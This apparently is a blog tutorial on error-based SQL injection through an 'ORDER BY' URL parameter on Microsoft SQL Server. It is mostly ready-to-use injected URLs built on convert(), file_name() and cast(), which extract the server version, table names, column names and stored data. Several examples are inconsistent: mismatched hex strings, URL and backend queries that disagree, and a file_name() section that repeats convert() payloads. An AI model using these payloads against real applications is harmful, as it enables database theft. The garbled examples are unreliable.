Error based SQL Injection in “Order By” clause (MSSQL)

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Introduction:
SQL Injection AKA mother of hacking is one of the notorious and well known vulnerability which has caused lots of damage to cyber world. Researchers has published lots of stuff on different exploitation techniques for conducting various type of attacks including accessing data stored in database, reading/writing code from/to server using load and into outfile in MySQL, performing command execution using SA account in MSSQL.

In this paper, we are going to exploit SQL Injection vulnerability when user supplied data is getting pass in “Order By” values in MSSQL and application throws SQL server error if SQL query has syntax error in it.

If user supplied data is getting pass into SQL Query as column name in “Order By” clause, normal “Error based SQL Injection” can’t help in exploitation.

SQL Server is having predefined set of rules for SQL queries and due to which we can’t use normal “Error based SQL Injection” technique to exploit SQL Injection flaw in application.

User can specify function name after Order by Clause and here exploitation can be done if we inject any SQL server function which can execute the query specified in it as an argument, try to perform operation on the result of injected query and then throw error in which function should disclose the result of injected SQL query.

Exploitation

Functions which can be used to perform Error based SQL Injection:

There are few SQL server functions which executes the SQL query specified as an argument to it and, try to perform defined operation on that output and throws the output of SQL query in error message.

Convert() is one which is generally used in error based SQL injection with “and” conjunction.

Convert() try to perform conversion operation on second argument as per the data type specified in first argument.

For Example, convert(int,@@version), first of all convert function will execute the SQL query specified as second argument and then will try to convert it into integer type. The output of SQL query is of varchar type and conversion can’t be done, convert function will throw an SQL server error message that “output of SQL query” can’t be convert to “int” type and this is how attacker will get result of SQL query.

List of such functions:

- convert()
- file_name()
- db_name()
- col_name()
- filegroup_name()
- object_name()
- schema_name()
- type_name()
- cast()
Demo:
Let’s suppose we have one SQL Injection vulnerable URL which is passing user supplied value in HTTP GET method having name “order” to SQL query and URL is like this
http://vulnerable_webapp/vulnerable.asp?data=yes&order=column_name

Application is taking user supplied data from HTTP GET method parameter “order” and building SQL Query in backed like this

```sql
SELECT table_name, column_name FROM information_schema.columns ORDER BY column_name
```

**convert() Function**

- **Extract SQL server version**

  Injected URL:
  http://vulnerable_webapp/vulnerable.asp?data=yes&order=convert(int,@@version)

  Query in backend:
  ```sql
  SELECT table_name, column_name FROM information_schema.columns ORDER BY convert(int,@@version)
  ```
• Extract tables name of current database

Injected URL: -

http://vulnerable_webapp/vulnerable.asp?data=yes&order=CONVERT(int,(select top(1)
  table_name from information_schema.columns))

Query in backend: -

select table_name,column_name from information_schema.columns order by
CONVERT(int,(select top(1) table_name from information_schema.tables))

• Extract column name from table

During column name extraction, we will be using cast() to specify the table name for which we are
extracting columns name. Table name is in “hex” form

Injected URL: -

http://vulnerable_webapp/vulnerable.asp?data=yes&order= convert(int,(select top(1)
COLUMN_NAME from information_schema.columns where
TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar)))

Query in backend: -

select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by
convert(int,(select top(1) COLUMN_NAME from information_schema.columns where
TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar)))

Conversion failed when converting the varchar value \x73\x70\x74\x61\x6c\x6c\x62\x61\x63\x6b\x5f64\x62 to data type int.
• Extract data from column of a table

Data extraction from column of a table is straightforward and just need to specify the column name and table name in SQL query. In example, I have used column name ‘xserver_name’ and table name is ‘spt_fallback_db’.

Injected URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order=convert(int,(select top(1) xserver_name from spt_fallback_db))

Query in backend:

```
select table_name, column_name from INFORMATION_SCHEMA.COLUMNS order by convert(int,(select top(1) xserver_name from spt_fallback_db))
```

```
Msg 245, Level 16, State 1, Line 2
Conversion failed when converting the varchar value icd_lab to data type int.
```

file_name() function

• Extract SQL server version

Injected URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order=file_name(@@version)

Query in backend:

```
select table_name, column_name from INFORMATION_SCHEMA.COLUMNS order by file_name(@@version)
```
• Extract tables name of current database

Injected URL: -

http://vulnerable_webapp/vulnerable.asp?data=yes&order=CONVERT(int,(select top(1) table_name from information_schema.columns))

Query in backend: -

select table_name,column_name from information_schema.columns order by CONVERT(int,(select top(1) table_name from information_schema.tables))

• Extract column name from table

During column name extraction, we will be using cast() to specify the table name for which we are extracting columns name. Table name is in “hex” form

Injected URL: -

http://vulnerable_webapp/vulnerable.asp?data=yes&order= convert(int,(select top(1) COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x7370745f66616c6c6261636b5f62 as varchar)))

Query in backend: -

select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by convert(int,(select top(1) COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x7370745f66616c6c6261636b5f62 as varchar)))
- **Extract data from column of a table**

  Data extraction from column of a table is straightforward and just need to specify the column name and table name in SQL query. In example, I have used column name 'xserver_name' and table name is 'spt_fallback_db'.

  Injected URL:

  ```
  http://vulnerable_webapp/vulnerable.asp?data=yes&order= file_name((select top(1) xserver_name from spt_fallback_db))
  ```

  Query in backend:

  ```
  select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by
  file_name((select top(1) xserver_name from spt_fallback_db))
  ```
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About Me

Working as application security engineer and interested in exploit development.

Keep learning different-different things just not limited to single one.

My blog

http://mannulinux.blogspot.in/

My Github account

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